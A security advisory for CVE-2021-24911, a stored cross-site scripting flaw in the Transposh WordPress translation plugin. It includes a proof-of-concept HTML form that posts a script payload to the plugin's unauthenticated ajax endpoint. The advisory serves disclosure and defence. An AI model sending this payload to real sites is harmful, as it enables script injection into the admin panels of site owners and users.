RCE Security Advisory 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: Type: Cross-Site Scripting [CWE-79] Date found: 2021-08-19 Date published: 2022-07-22 CVSSv3 Score: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) CVE: CVE-2021-24911 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.7 and below 4. INTRODUCTION =============== Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The plugin's ajax action "tp_translation" which is available to authenticated or unauthenticated users (see CVE-2022-2461) allows to submit new translations. Translations submitted this way are shown on the Transposh administrative interface on the pages "tp_main" and "tp_editor". However, since the plugin does not properly validate and sanitize the submitted translation, arbitrary Javascript code can be permanently injected and executed directly within the backend across all users visiting the page with the roles of at least "Subscriber" and up to "Administrator". This offers a wide range of possible attacks, such as redirecting the user to a malicious page, spoofing content on the page, or attacking the browser and its plugins. 6. PROOF OF CONCEPT =================== The following PoC adds a new translation: <html> <body> <form action="http://[host]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="tp&#95;translation" /> <input type="hidden" name="ln0" value="en" /> <input type="hidden" name="sr0" value="0" /> <input type="hidden" name="items" value="1" /> <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="tr0" value="test" /> <input type="submit" value="Submit request" /> </form> </body> </html> 7. SOLUTION =========== Update the plugin to version 8.
